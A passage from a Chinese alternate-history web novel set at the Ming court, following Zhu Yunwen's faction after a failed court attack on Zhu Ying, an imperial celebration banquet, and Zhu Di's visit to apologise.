要不是深知黄子澄是自己的老师,两人之间是一荣俱荣、一损俱损,利益深度捆绑,否则朱允炆都得怀疑黄子澄是不是对面派过来故意捣乱的卧底了...... “娘,你说黄师傅他这到底是为什么?为何要行此险招,却不与我通气?” 朱允炆拧着眉头,脸上写满了困惑和不理解,他看向吕氏,希望能从母亲这里得到答案。 吕氏早已放下了手中的账册,眉头也是深锁,不过她没有立刻说话,而是沉思了片刻,手指轻轻捻着袖口。殿内一时安静下来,只听得见更漏滴答的声音。 “或许黄先生有他自己的想法和考量吧。” 吕氏缓缓开口,语气还算平稳,“不是已经让人去传他了吗,想必待会儿也就知道了,且听听他如何说。” 她话锋一转,语气中带上了一丝难以掩饰的惊叹和惋惜:“不过倒是真没有想到,这朱御史居然还有这般通天的本事,短短几天的时间,居然就筹措到了四百多万两银子!这等点石成金、化腐朽为神奇的本事,真是........可惜了....” 吕氏听闻早上朝会上发生的事情时,也是结结实实大吃了一惊。 尤其是在得知朱煐以一己之力,居然在短短数日之内就筹措到了四百六十三万两银子这个天文数字的时候,她掌管东宫事务,日常用度、赏赐开销,和钱打交道的事情自然少不了,因此她比谁都更清楚这四百多万两银子意味着什么! 那几乎是国库岁入的一小半! 此刻的吕氏,心中不由得涌起一阵强烈的后悔。 若是当初能够放下身段,早些看清此人的价值,不惜代价进行拉拢的话,现在就不至于如此被动,甚至可能早已将这股强大的助力握在手中了..... 可惜,一步慢,步步慢...... “谁说不是呢,孩儿也是吃了一惊。” 朱允炆深有同感地点头,“而且听说这朱御史第一天就直接筹措到了三十六万两银子,只是没想到皇爷爷他的口风这般紧,一点也没有透露出去,将所有人都蒙在了鼓里。” 他叹了口气,语气复杂:“现在孩儿算是彻底理解,为什么前几日皇爷爷会将孩儿送去的鸡汤转赐给朱御史喝了。现在想来,那并非是皇爷爷不喜,而是那朱御史当时便已简在帝心!这般本事,天下少有,值得皇爷爷如此看重。” “你皇爷爷这个年纪,他经历的风浪、看透的人心,远比你想象的要多得多。” 吕氏正色道,借机教导儿子,“你皇爷爷看人的眼光,是很准的,这一点你日后要好好学着,切不可再以常理度人,有才之人皆是不按常理。” “娘,孩儿记下了。”朱允炆恭敬应道。 随即,他脸上又浮现出浓浓的惋惜之色:“就是有些可惜了,本来孩儿都已经慢慢弄清了皇爷爷的心思,皇爷爷意图以朱御史来考验孩儿,想让孩儿设法拉拢朱御史,以此证明自己的能力,赢得朱御史的支持。却不曾想,今日被黄师傅突然来的这么一下给彻底坏了事!前些日子孩儿小心翼翼、示好的努力,怕是要白费了,这朱御史此刻定然对我东宫心怀芥蒂。” 朱允炆说着,脸上满是惋惜和无奈,一脸的可惜,只觉得煮熟的鸭子飞了,心里空落落的。 “等黄先生来了之后,问问清楚再说。” 吕氏安抚道,随即神情严肃地提醒朱允炆,“还有,允炆,你记住,你已经是未来大明的储君了,要时刻谨记,喜怒不形于色。待会儿等你黄师傅来了,无论心中作何想法,切莫直接露出怪罪或不满的神情,要以安抚和询问为主。本宫是怕他面子上挂不住,或是心中多想,寒了老臣的心,可明白了?” 朱允炆深吸一口气,点了点头,努力让自己的表情恢复平静:“娘亲放心,孩儿明白轻重。” ...... 事实上,在退朝之后,黄子澄和齐泰两人都并没有走远,他们就像是故意在宫门外徘徊等待着什么似的,心中亦是忐忑不安。 朱允炆回到东宫之后,立刻派人去传唤两人。那传信的内侍刚出宫门口,没走几步就撞上了正在不远处低声交谈、明显是在等候召见的黄子澄和齐泰。 当即,两人便随着内侍又入了皇宫,一路无话,直接到了东宫。 踏入殿门时,两人的心情都十分沉重。 “臣黄子澄(齐泰)拜见太子妃,见过皇孙殿下。” 两人恭敬地行礼,头埋得较低。 吕氏见状,赶忙上前,主动伸手虚扶,语气温和:“黄先生,齐先生快快请起,你们都是帮衬着本宫和允炆的大恩人,是自家人,何必行此大礼?快坐下说话。” 黄子澄和齐泰互视一眼,都从对方眼中看出了些许意外和感动。他们早在宫门口等待时,就已经快速交换过了意见,毕竟今日朝堂上,黄子澄自作主张,带着部分文官对朱煐发起围剿攻讦,结果偷鸡不成反蚀把米,非但没能动摇朱煐分毫,反而让东宫这边原本已经和朱煐稍稍缓和的关系彻底打破,再一次变得势同水火,难以转圜。 偏偏现在的朱煐又是圣眷正浓,风头一时无两。 按照常理推断,此时的吕氏和皇孙殿下即便不雷霆震怒,也定然是面色不虞,心中埋怨。 因此,两人在入宫之前就已经做好了被斥责的准备,心里也已经打好了该如何解释、如何请罪的腹稿.... 没想到,这入了东宫之后,吕氏的态度却如此温和,大大出乎了两人的预料,反而让他们更加惭愧。 “黄师傅,齐大人,都是自己人,就别在乎这些繁文缛节了。” 朱允炆也凑上前来,一脸诚恳,一把抓住了黄子澄和齐泰的手臂,眼神中满是依赖和求助之意,“眼下情况复杂,我还想请两位先生教我,为我指点迷津呢。” 黄子澄感受到朱允炆手上传来的温度和话语中的信任,心头一热,更是羞愧难当,不由得将头埋得更低,声音带着几分沙哑: “殿下,臣........臣惭愧!臣在朝堂上自作主张,鲁莽行事,乱了殿下的全盘计划,致使东宫陷入被动,臣........万死难辞其咎!还请殿下降罪!” 他这番请罪,倒是情真意切。 朱允炆看着黄子澄这般模样,按照母亲先前的叮嘱,强行压下心中的一丝不快,脸上依旧保持着理解和宽容: “黄师傅,快别这么说。虽然孤一时也不知道你为什么在殿上要突然针对朱御史,不过孤相信,黄师傅你做事,定然有自己的理由和深意。现在情况确实不妙,但并非是追究谁对谁错的时候,现在能帮孤、能为东宫谋划前路的,就只有黄师傅和齐大人你们了。还请黄师傅不吝赐教,坦诚相告,孤洗耳恭听!” 朱允炆这番话说的情真意切,语气中丝毫没有半点对黄子澄的责怪之意,反而将姿态放得很低,全然一副倚重师长的模样。 而看着一脸真挚、毫无芥蒂的朱允炆,黄子澄顿时内心中大为感动,同时也更加坚定了要为自己行为辩解、并继续为东宫效力的决心。 “殿下如此宽宏大量,信任老臣,真让臣等汗颜无地!”黄子澄的声音有些哽咽。 他稳了稳情绪,抬起头,开始解释道:“殿下,太子妃,不瞒二位,臣之所以在朝堂上忽然针对朱御史,实则是........无奈之举,是臣当时判断有误所致。” “无奈之举?这是何意?”朱允炆恰到好处地露出好奇之色。 黄子澄深吸一口气,详细解释道:“回殿下,臣今日是除了陛下,朱御史、张侍郎、方大人、凉国公、秦王和允熥皇孙殿下几人之外,最早到达朝堂的。” “殿下可知,臣到了那空荡荡的朝堂之后,看到那几人已然在场,并且神态间似乎颇为熟稔时,心中作何感想?” 黄子澄反问了一句,试图让朱允炆理解他当时的视角。 朱允炆微微一怔,思索道:“朱御史,张侍郎,方大人,凉国公,秦王和允熥?他们........莫不是提前入宫,一同见了皇爷爷,而后才一同前来奉天殿的?” 他自行给出了一个合理的推测:“是了,朱御史筹措到四百多万两银子,这般天大的事情,自然该提前上禀皇爷爷才是,一同前来倒也正常。” 黄子澄不由苦笑一声,笑容里满是苦涩和事后才醒悟的懊恼:“殿下所言极是,现在想来,确实如此。朱御史立下这般不世之功,自然该提前面见陛下,奏明详情。可臣当时初到殿中,对此却并不知晓啊........” 他的语气变得沉重起来:“臣当时看到那般情景,第一个念头便是........陛下是否与朱御史,乃至与允熥皇孙殿下之间,有了什么不为人知的默契或安排?是否陛下明面上考验允炆殿下您,暗地里却另有所属?臣以为是陛下与朱御史合谋,来了个明修栈道、暗度陈仓之计!” 黄子澄说到此处,情绪略显激动: “正是出于这等担忧和误判,臣才想着开口试探一二,想打乱对方的节奏,摸清陛下的真实意图........只是不曾想,时机如此不巧,刚好撞上了朱御史携大功亮相的枪口上........这才酿成了大错。” 黄子澄终于将自己的想法、担忧以及导致误判的原因,一五一十地说了出来....... ........ “黄先生是担心允熥他在藏拙?” 朱允炆皱起了眉头,语气带着几分将信将疑,甚至觉得有些荒谬...... 毕竟在他多年的印象里,自己那个异母弟弟朱允熥,向来是怯懦寡言,见到生人连头都不敢抬,说话声音细若蚊蚋,在东宫如同一个透明的影子....... 这般人物,实在不像是能有如此深沉心机、懂得韬光养晦之辈..... 黄子澄却郑重地点了点头,面色凝重得如同凝结的寒冰,他压低了声音,仿佛怕被什么看不见的耳朵听了去: “臣所虑者,正是担心允熥殿下并非如他平日里表现出来的这般懦弱不堪。” “或许,他正是借着这层伪装,悄然离开了东宫的密切监视,得以在朱御史府中那片‘清净地’韬光养晦,积蓄力量。” “若是如此........陛下偶然间发现了允熥殿下身上有可塑之才,甚至是........某种我们未曾察觉的潜质,于是着意让如日中天的朱御史加以辅佐、打磨。再加上凉国公在军中的旧部影响力、秦王殿下的宗室分量,以及可能被朱煐魅力吸引的其他文武官员暗中帮衬........臣担心,长此以往,水滴石穿,恐生变数啊!届时,殿下您的处境将极为被动。” 听着黄子澄这番抽丝剥茧、层层递进的分析,朱允炆脸上的那点疑虑瞬间冰消瓦解,取而代之的是一种如坠冰窖的巨大危机感...... 他的脸色“唰”地一下变得有些苍白,手指无意识地蜷缩起来..... 哪怕是一旁一直努力保持镇定、维持着太子妃雍容气度的吕氏,此刻也都彻底变了脸色,保养得宜的手指下意识地收紧,指甲几乎要掐进掌心里,紧紧握住了华贵宫装的袖口,那上好的丝绸料子被攥出了深深的褶皱..... ....... 这不说不知道,可经过黄子澄这么一针见血地点拨,再顺着这个思路仔细一想,吕氏和朱允炆都骇然发现,在不知不觉间,那个他们从未放在眼里的朱允熥身边,居然已经悄然围绕起了这么一股不容小觑的能量了? 原先的朱允熥,身边空无一人,像个透明人似的,在东宫几乎没有任何存在感。 就算提到他所谓的“依靠”,最多也只有那个远在边镇、自身难保、眼看就要被陛下清算的凉国公蓝玉,那更像是一道催命符而非助力..... 可现在看来........不知从何时起,秦王朱樉、风头无两的御史朱煐,哪一个不是在朝中说话极具分量的人物? 尤其是朱煐,经过今日朝会之后,一跃成为陛下亲封的“中兴侯”,简在帝心,圣眷优隆到令人咋舌的地步! 可以想象,假以时日,此子必然是权倾朝野的重臣! 倘若........倘若当真出现黄子澄所描绘的那种最坏的情况——陛下暗中属意的并非允炆,而是那个一直在装懦弱的朱允熥,并且已经开始为他铺路搭桥........ 那后果,简直不堪设想! 他们母子多年来的苦心经营,可能顷刻间付诸东流! ...... “臣就是在想,” 黄子澄继续道,声音压得更低,带着一种洞悉世事的沉重..... 第88章 朱允炆来了? “允炆必不忘今日两位先生之大恩!” 朱允炆看着眼前为自己殚精竭虑、甚至不惜自污名节的黄子澄和齐泰,眼圈微红,郑重其事地躬身行了一个大礼,语气诚挚无比。 说实在的,朱允炆心中此刻确实是涌动着难以言喻的感动和暖流。 他自幼生长于深宫,见惯了尔虞我诈和虚与委蛇,深知在这权力场中,真心实意有多么难得。黄子澄和齐泰两人,今日甘愿为了他的前程,主动扛下所有可能招致的骂名和误解,扮演恶人角色,只为助他唱好“宽厚贤明”的红脸,以期收服朱煐那等桀骜难驯的能臣。这对于视名节如生命的文人而言,是何等巨大的牺牲! 而这更是一场关乎身家性命的豪赌!赌注就是他朱允炆能否成功争得储位,最终登临大宝。 若是日后他不能登基,今日黄、齐二人的所有牺牲不仅白费,更可能因为“站错队”而遭到清算,连累家族。真正是一荣俱荣,一损俱损。也正因如此,朝堂上绝大多数官员都是精明的中立派,在形势没有彻底明朗、尤其是在洪武皇帝这棵参天大树依然健在之时,他们是绝不会轻易下注的。 在朝廷里摸爬滚打,最重要的就是一个“稳”字。 最稳妥的选择是什么? 自然是等到新旧权力交接完成,一切尘埃落定之后再去锦上添花。虽然那样获得的利益会小很多,但同样,也无需承担任何风险。 正是因为大部分人都抱着这种明哲保身的态度,朱允炆才愈发明白眼前黄子澄和齐泰这番毫无保留的支持是何等可贵,何等义薄云天! “殿下言重了。只要殿下将来能顺利登临大宝,开创盛世,我等今日所做的一切微末牺牲,又算得了什么?” 黄子澄摇了摇头,看着朱允炆真情流露的样子,心中亦是感到无比慰藉。他与朱允炆的关系,早已超越了简单的君臣。他是朱允炆正儿八经的启蒙老师,是亲眼看着、手把手教着朱允炆从垂髫稚子长成翩翩少年的。这种亦师亦父的情谊,让黄子澄在争储之事上根本没得选择,必须全力支持朱允炆,但同时也让两人的命运彻底深度捆绑在了一起。 ........ 就拿今日朝堂上的事情来说。倘若换做是其他任何一个臣子,像黄子澄这般在未与朱允炆详细商议的情况下,就擅自改变既定计划,甚至带着整个文官集团偏离了朱允炆预设的轨道,朱允炆必然要追究其责任,甚至大发雷霆也是情理之中。 可当这个人是黄子澄时,朱允炆的第一反应却不是愤怒,而是下意识地去思考“老师此举是否另有深意?是否看到了我看不到的层面?”。这就是关系亲疏远近带来的巨大区别。关系足够亲近,才能产生这种近乎本能的、毫无保留的信任。 而能得到未来君主如此毫无保留的信任,这本身就是无数人梦寐以求却求之不得的至高殊荣。 “允炆。” 这时,一直静静聆听的吕氏忽然开口,声音带着一种不容置疑的决断。 “娘?”朱允炆疑惑地转头看向自己的母亲。 只见吕氏面色肃然,目光扫过黄子澄和齐泰,沉声道:“跪下!替你娘我,也替你自己,好好谢谢两位先生的擎天保驾之恩!” 朱允炆闻言,没有丝毫犹豫,“噗通”一声便直接跪倒在了黄子澄和齐泰面前! “殿下不可!” “折煞臣等了!殿下快快请起!” 黄子澄和齐泰顿时脸色骤变,惊得魂飞魄散,两人手忙脚乱地抢上前去,一左一右就要将朱允炆搀扶起来。储君跪臣子,这于礼不合,传将出去可是了不得的事情! “两位先生就不要阻拦了。” 吕氏的声音再次响起,带着一丝不易察觉的哽咽.... “先生们的大恩大德,值得允炆这一跪!我和允炆这孤儿寡母的,在这深宫之中,若是没有两位先生这般忠肝义胆的直臣鼎力相助,怕是早就被人欺负得无立足之地了。” 她走到朱允炆身边,目光恳切地看着黄、齐二人,语气郑重如同起誓:“两位先生是真心实意为允炆着想,这份情谊,我们母子铭记五内!允炆也定然不会忘了两位先生今日的恩情!日后若是苍天庇佑,允炆得以登基,今日之恩,必当重报!绝不让两位先生白白牺牲了清誉!” 吕氏这番话,说得情真意切,掷地有声。 “太子妃言重了!言重了!此皆为人臣者之本分,值不得太子妃和皇孙殿下行此大礼,万万值不得啊!”黄子澄在慌乱间,已经和齐泰一起强行将朱允炆扶了起来,他心中又是惶恐又是感动,五味杂陈。 他虽然明白,吕氏这一手“皇子下跪”很大程度上是收买人心的手段,是赤裸裸的阳谋。但知道归知道,当一位未来的大明皇帝真真切切地跪在自己面前,如此真诚地许下重诺时,那种“士为知己者死”的澎湃情感依旧难以抑制地涌上心头,强烈得让他眼眶发热。这种被极度信任和倚重的感觉,足以让任何一位有志于辅佐明君的臣子心甘情愿地赴汤蹈火。 ........ 东宫之内,一场关于牺牲与忠诚的深刻对话暂告段落。 黄子澄提出了牺牲自身和齐泰名声以帮助朱允炆缓和与朱煐关系的策略,而朱允炆和吕氏则以最真诚的态度和最高的礼遇给予了回应和承诺。 不得不说,在历史上能够最终登基称帝,从雄才大略的朱元璋手中接过权柄的朱允炆和其母吕氏,本身就绝非寻常人物。就冲朱允炆这毫不犹豫的一跪,可以想象,经此一事,黄子澄和齐泰已经彻底成为了朱允炆核心圈层中毋庸置疑的死党,关系牢不可破。 收买人心的最高境界,或许就是让对方明明知道你在收买人心,却依旧因为你的真诚和付出的“代价”而甘之如饴,誓死效忠。 ........ 而与此同时,在朱煐的府邸,气氛则是另一番景象,热闹非凡,与东宫内的凝重肃穆形成了鲜明对比。 朱煐获封“中兴侯”,可谓一步登天,引得众人齐来道贺。退朝之后,除了急匆匆赶回家中与妻儿分享好消息和一线生机的蓝玉之外,秦王朱樉、皇孙朱允熥、商贾代表胡老三、书吏张平、以及大儒方孝孺,全都跟着朱煐重新回到了他略显简朴却此刻充满喜庆的府中。 众人刚踏入府门,就惊讶地发现府内已然张灯结彩,仆从们脸上都带着喜气。穿过庭院来到会客厅,更是看到厅中已经摆好了一桌极其丰盛的酒席,山珍海味,玉液琼浆,香气扑鼻,显然是早有准备。 看到这仿佛凭空出现的满桌佳肴,饶是见多识广的朱煐也不由得愣住了,停下脚步。 “这是........谁安排的?” 朱煐不由得将疑惑的目光投向了身旁的朱樉。在他的认知里,能有这般手笔和心思,又会如此积极张罗的,最有可能的就是这位性情豪爽又一心想要结交自己的秦王殿下了。 然而,朱樉却是一脸的迷茫和诧异,左看看右看看,显然,他对此也并不知情。 “朱御史,这酒席安排得倒是恰到好处,喜庆应景,可惜并非是本王安排的。” 朱樉看出了朱煐眼中的问询之意,摇了摇头,苦笑着说道。他心中暗暗后悔不迭:他娘的!本王怎么就把这茬给忘了!多好的一个拉近关系的机会啊!白白错过了!真是失策! ........ 不是朱樉?朱煐心中疑惑更甚,目光不由地又落在一旁的朱允熥身上,但很快就自行否定了。以朱允熥那怯懦内向的性子,加之年纪尚小,定然不会是他。 更何况这小子也不是个能有如此细腻周到心思的人。 至于张平和方孝孺? 朱煐看向他们,两人也是一脸茫然。以他们刚正不阿、不善钻营的性格,这种事情明显不像是他们能干得出来的。 那么........剩下的可能性,就只剩下一个人了........ 朱煐的目光,连同其他几人的视线,都不约而同地、齐刷刷地落在了身材微胖、脸上总是带着精明笑意的胡老三身上。 显然,在众人看来,最符合标准、既有这份财力又有这份情商和行事风格的,也就只有这位深谙人情世故的胡老三了。也只有他,才会想得如此周到,做出这般细致入微的安排。 然而,在众人灼灼目光的注视下,胡老三却是也苦笑着摊了摊手,冲众人解释道:“诸位贵人明鉴,虽然小人确实很想说这桌为侯爷庆功的酒席是小人安排的,能借此聊表心意是小人的荣幸........可........可天地良心,这酒席确实和小人没有什么关系........小人也是方才随大家一同进府才看到的。” 胡老三的话,让在场所有人都懵了,面面相觑。 也不是胡老三? 朱煐闻言,眉头深深皱起,心中疑云密布。排除了所有可能的人选,那还能是谁?总不会是那个先前说要先回家一趟告知喜讯的凉国公蓝玉吧?可蓝玉是个粗豪的武将,哪有这般细腻的心思和提前布置的时间? 而就在朱煐心中困惑不解之际,一道爽朗而带着几分熟悉的笑声,从内堂方向传入了众人的耳中。 “哈哈哈哈,中兴侯,秦王殿下,诸位,你们可算是回来了!让咱家一番好等!” 听到这个声音,众人皆是一怔,不约而同地抬头,循着声音的源头处望去。 只见锦衣卫指挥使蒋瓛,正脸上堆满了笑容,从内堂缓步走了出来,一边走一边向着朱煐拱手道贺。 “蒋指挥使?” 当看清说话之人时,连朱煐也不由得有些愕然,愣了一下神。 其余众人更是面面相觑,脸上写满了惊讶和不解。这位天子亲军头子,陛下最信任的耳目,怎么会出现在这里?而且看样子,这桌突如其来的庆功宴,竟然是他安排的? 走到近前之后,朱煐再也忍不住心中的疑惑,好奇看向蒋瓛,目光在那桌琳琅满目的酒菜和蒋瓛意味深长的笑容之间来回扫视.... "蒋指挥使,这桌酒菜........究竟是........?" "诶!朱御史且慢," 蒋瓛连忙摆手,眯着眼睛笑呵呵地拱手,身子微微前倾,压低了声音却让周围人都能听清.... "这酒菜可不是蒋某安排的啊,蒋某不过是替人跑腿办事的。安排这桌酒菜的,另有其人,特地恭贺朱御史高升中兴侯,在朝中大发神威,立下不世之功!" 蒋瓛的这番话,像一块巨石投入平静的湖面,让在场的所有人心中都不由得一凛,原本略显轻松的气氛瞬间凝滞。 安排这桌酒菜的,另有其人? 蒋瓛替人办事?蒋瓛是谁? 那可是大明如今权势熏天的锦衣卫都指挥使! 锦衣卫是什么衙门?天子亲军,帝王爪牙! 能差遣动一个锦衣卫都指挥使,让他甘心做这等传话布置琐事的人........ 普天之下,还能有谁?这幕后之人的身份,简直呼之欲出,如同无形的手扼住了每个人的思绪! ...... "是........是皇爷爷让安排的酒菜?" 朱允熥震惊地看向蒋瓛,声音里带着难以置信的颤抖,眼睛瞪得溜圆。 蒋瓛脸上笑意更浓,恭敬地对着皇宫方向拱了拱手:"殿下猜的一点不错。 早在朝会尚未结束之时,陛下便密令下官提前出宫,快马加鞭,为朱御史张罗好了这庆功宴。陛下圣心独运,算准了时辰,正好让朱御史退朝回府,便能立刻享用,连片刻都不需等待。" 他转向朱煐,语气愈发谦和:"下官仓促之间,只点了些京城知名酒楼的拿手特色,也不知是否合朱御史和诸位的口味,若有疏漏,还望海涵。" 蒋瓛满脸堆笑,姿态放得极低,不敢有丝毫托大,尤其是对待朱允熥,更是和颜悦色,带着几分不易察觉的谨慎。他心知肚明,自己是除了老朱之外,唯一知晓朱煐真实身份和陛下长远布局的人,对这位陛下眼前的新贵、未来的关键人物,巴结讨好尚且来不及,哪里敢端半点架子? 其余的人听着蒋瓛这番详细的解释,大家都不由得面面相觑,暗中交换着震惊的眼神........ 陛下亲自下令,让锦衣卫头子提前安排酒菜? 而且还是如此周到,连时间都掐算得这般精准?这洪武朝开国至今,何曾听说过杀伐决断的洪武皇帝有过这般细腻、近乎体贴臣子的举动? 不过,众人转念一想,目光再次聚焦到朱煐身上时,心里头那点不平衡瞬间又被压了下去。 以朱御史这鬼神莫测的本事,短短数日便为朝廷筹措到数百万两赈灾银的滔天功劳,无论陛下给予何等超规格的待遇,似乎都变得合理起来。 莫说是放眼洪武一朝,便是纵览千年史册,又有几人能创下如此奇迹?这般一想,陛下此举,反倒显露出一种爱才惜才的明君气度。 这一桌子御赐酒菜的殊荣,即便是身为亲王、见惯世面的朱樉,也看得频频咂舌,心里五味杂陈。 这待遇........别说寻常朝廷官员了,就连自己这个嫡亲儿子,也从未享受过啊........父皇何曾对自己这般细心关照过?一股复杂的酸意夹杂着对朱煐能力的佩服,在他心中翻涌。 ...... "既然如此,那就多谢蒋指挥使辛苦奔波了。" 见朱煐似乎还沉浸在震惊中,一时未有反应,张平赶忙上前一步,代替朱煐向蒋瓛拱手道谢,言辞得体。 "张大人客气了,小事而已,何必言谢,能为陛下和朱御史分忧,是蒋某的荣幸。" 蒋瓛连连摆手,随即话锋一转,意味深长地看了朱煐一眼,声音压低了几分:"日后啊,说不定还得仰仗朱御史多多关照呢。" "蒋指挥使这是说哪里话," 张平虽然性情刚正,但并非不懂人情世故,此刻自然是笑脸相迎, "以蒋指挥使的身份地位和陛下的信任,再怎么着,也用不到我老大来关照啊。倒是我们,日后若有不周之处,还需蒋指挥使在陛下面前美言几句呢。"他深知交友之道,人敬一尺,我敬一丈。 "蒋指挥使事务繁忙,若不嫌弃,不如一同入席,饮一杯水酒再走?" 张平顺势发出邀请,既是客气,也是试探。 "不了不了," 蒋瓛连忙拒绝,神色一正,指了指皇宫方向,"陛下那边还等着下官回去复命呢,圣意不可违。我就不在此碍眼,耽误诸位雅兴,庆祝朱御史的庆功宴了。告辞,告辞!" 蒋瓛办事极有分寸,他是老朱的绝对心腹,深知此刻朱煐身份敏感,自己若停留过久,与未来可能的“关键人物”过分亲近,反而可能引来猜忌,误了陛下的大事,那才是万死难辞其咎。 说着,他便利落地一拱手,转身欲走。 然而就在这时........ 府外,忽然响起了一阵由远及近的喧闹声,夹杂着马蹄声和家丁略显慌乱的阻拦声。 所有人的目光都不由自主地被吸引,齐刷刷地向府门方向看去........ 紧接着,就看到燕王朱棣一身常服,却带着不容忽视的亲王气度,领着一队亲随,抬着好几箱看起来就分量不轻的礼品,未经通传便径直闯入了府中院落,打破了方才略显微妙的气氛。 "老四?你来此做甚?" 一看到朱棣,朱樉立刻眉头一皱,像是护食的猛虎般迎了上去,语气带着明显的不善。 朱棣只是淡淡地扫了朱樉一眼,眼神中掠过一丝不耐烦,语气冷硬:"二哥,你来得,我就来不得?这乃是朱御史的府邸,并非你的秦王府,怎的整的好像是你家一样,还要拦着弟弟我不成?" 朱棣毫不客气地顶了回去,说完便直接越过了挡在面前的朱樉,将其近乎无视,目光牢牢锁定在依旧有些发怔的朱煐身上。 他快步走到朱煐面前,脸上瞬间换上了一副诚恳无比的表情,深深一揖: "朱御史,先前种种,皆是本王一时糊涂,多有得罪!所谓冤家宜解不宜结,本王思前想后,深感愧疚。今日本王特备薄礼,前来登门谢罪,只盼能与朱御史化干戈为玉帛,冰释前嫌。还望朱御史念在本王一片诚心,万万收下这些心意,给本王一个改过的机会。" 说话间,朱棣的目光紧紧盯着朱煐的脸,不放过任何一丝细微的表情变化。 他看到了朱煐眼中那毫不掩饰的错愕和茫然,心中不由暗自一喜。 哈哈哈,没想到吧! 朱御史定然是没想到本王的心胸竟能如此开阔,姿态能放得如此之低!这一而再,再而三地放下亲王颜面,诚恳致歉,便是铁石心肠,也该被本王的诚意打动几分,于心不忍了吧?朱棣仿佛已经看到了修复关系的曙光。 ..... 朱棣没有看错,此刻的朱煐看着眼前这位姿态谦卑得不像话的燕王,心中的确是错愕万分,思绪翻江倒海。 不过,朱煐错愕的根源,并非是什么“于心不忍”,而是极度惊讶于这朱老四的表现,与他自己认知中的历史形象产生了巨大的割裂! 他内心几乎在呐喊:奶奶的,后世大清编纂《明史》的那几个狗东西,简直就是坑死人不偿命啊!这就是被描述为“貌奇伟,美髭髯,智勇有大略”的日后的永乐大帝?这就是那个敢起兵“靖难”、夺了侄子江山的朱老四? 眼前这个能屈能伸、甚至显得有些“卑微”、连续上门道歉的主儿,跟史书里记载的那个骄傲强硬、雄才大略的燕王,有半点儿相似吗? 这完全不合理啊! 朱煐这会儿确实是郁闷加困惑了。 他本以为凭借自己对《明史》的了解,拿捏老朱家这几个关键人物的性格,完成那个看似刁难人的“为家国天下”而后被君王所杀的系统任务,应该是手到擒来。 可现在,先是老朱元璋的性格与史载的“雄猜好杀”大相径庭,脾气好得吓人,自己怎么折腾似乎都能被容忍。 现在倒好,连以“刚毅果决”著称的朱棣,也变成了能三番五次放下身段、主动求和的模样........ 难不成这朱老四还有什么不为人知的“受虐型人格”? 还是说,历史的真相,远比后世那些经过粉饰或篡改的史书要复杂得多? 看着眼前一脸“真诚”的朱棣,朱煐只觉得一阵无语,原先的计划和判断,似乎都开始摇摇欲坠。 ...... 朱煐长时间的沉默和脸上变幻不定的复杂神色,在朱棣看来,却被解读成了另一种信号。朱棣心中更喜三分,笃定地认为朱煐是被自己这番低姿态打动了,正在艰难地权衡。 第89章 强硬的蓝玉,针锋相对! 朱允炆在这里看到蒋瓛,不禁愣了一下。 那道身影如铁桩,钉在朱煐府邸门前,周身散发着一股生人勿进的气息。 随即,他脸上的僵硬融化,转为惊讶。 今日的他,穿一袭淡黄色皇孙常服,腰间束着和田玉带。这身行头,既显亲近,又不失身份,是幕僚团队为今日之行斟酌后的结果。 “陛下让我来给朱御史布置庆功宴,恭贺朱御史今日获封中兴侯。” 蒋瓛的声音响了起来。 他的声音没有起伏,不带情绪,仿佛只是在陈述一件再平常不过的事情。 他拱了拱手,动作标准,幅度很小,只是全了礼数。 话音落下,他抬起头。 “不知允炆殿下所来为何?” 蒋瓛的目光看着朱允炆。 他面无表情,眉毛都未曾挑动,可那双眼睛却像探针,刺向朱允炆的表象之下。 他的心底,无数念头正在盘算、猜测、重组。 这是一种本能。 一种在刀口舔血、在朝堂风云中生存下来后,烙印进骨子里的本能。 他的目光一瞥,便如标尺在丈量眼前的一切。 朱允炆身后跟了几名内侍。 他们抬着的礼担是何种形制。 担上覆盖的红绸是宫中哪一司所织。 随从们站立的距离,彼此间的眼神交换,都被他一一捕捉,存入脑海。 这些细节,在旁人眼中或许没有意义。 但在蒋瓛这里,它们是拼图的碎片,是解读意图的密码。 今日朝堂上的一幕,仍烙印在他的记忆里。 黄子澄因激动而涨红的脸。 他身后,那群文官如同木偶,口径一致。 他们引经据典,痛陈利害,将唾沫喷向朱煐,仿佛他不是皇明嫡长孙,而是奸佞。 文官集团发动了一场围猎。 那些争执的场面,那些话语,蒋瓛都记得。 而这个庞大的文官集团,他们高高举起的旗帜上,绣着的正是“允炆”二字。 要说这场声势浩大的攻讦背后,没有朱允炆的授意,蒋瓛第一个不信。 他太了解这座金陵城,太了解这座奉天殿了。 这里的每一块砖石,都浸透了权谋的味道。若无人在暗中穿针引线,运筹帷幄,那些平日里为了半点私利都能争得头破血流的文官,怎会变得如此整齐划一,同仇敌忾? 这绝无可能。 所以,他对朱允炆的感觉很复杂。 虽然同样是太祖高皇帝的孙子,流着一样的血脉,可蒋瓛对这位皇孙殿下,始终亲近不起来。 每一次,当他看到朱允炆那副永远温润如玉、永远悲天悯人的模样,蒋瓛总觉得浑身不自在。 那张面孔,完美得像一张画。 而画,是没有温度的。 这种感觉让他本能地绷紧了背脊,如同野兽在面对一个伪装起来的猎人。 要说在今天之前,这种感觉仅仅是“不喜欢”。 一种直觉上的疏离,一种对虚伪的天然排斥。毕竟,朱允炆在人前待人接物,确实挑不出半点错处,堪称皇孙典范。 可现在,就在此时此刻,蒋瓛清晰地感知到自己内心的变化。 不喜欢,已经悄然质变成了厌恶。 这种情绪的转变,他一点也不觉得意外。 原因再简单不过。 阵营。 当一个人选择了自己的阵营,那么敌人阵营里的一切,都会自动变得面目可憎。 这是朝堂之上,那条看不见却又最坚固的法则。立场,决定一切。 而他蒋瓛,早已做出了选择。 或者说,是陛下替他做出了选择,而他也心甘情愿地接受了这个选择。 他已经站到了朱煐的身后。 论继承的合法性,朱煐是嫡长孙,是懿文太子朱标留下的最正统的血脉。 这一点,礼法昭昭,无可辩驳。 朝中那些真正的明眼人,心里都有一杆秤。 论能力,朱煐更是甩开了朱允炆不止一筹。 从湖广赈灾时展现的雷霆手段,到回京后筹款时的奇思妙想,桩桩件件,都显露出一个优秀储君所必备的果决、智慧和担当。 这些功绩,朝野有目共睹,是实打实的,做不得半点假。 而更关键的,也是最核心的一点。 蒋瓛比朝中绝大多数人都更清楚陛下的态度。 那位一手缔造了大明,也即将为大明选定未来航向的老人,已经不止一次地明确表态。 日后的继承人,就是朱煐。 陛下甚至已经将他蒋瓛,将整个锦衣卫这柄最锋利的刀,都视作留给朱煐的后手,私下里进行了托付。 这等信任,重于泰山。 蒋瓛的心里,亮如明镜。 这种感觉,就像是参加一场决定身家性命的科考。 你已经通过特殊的渠道,提前知道了唯一的正确答案。 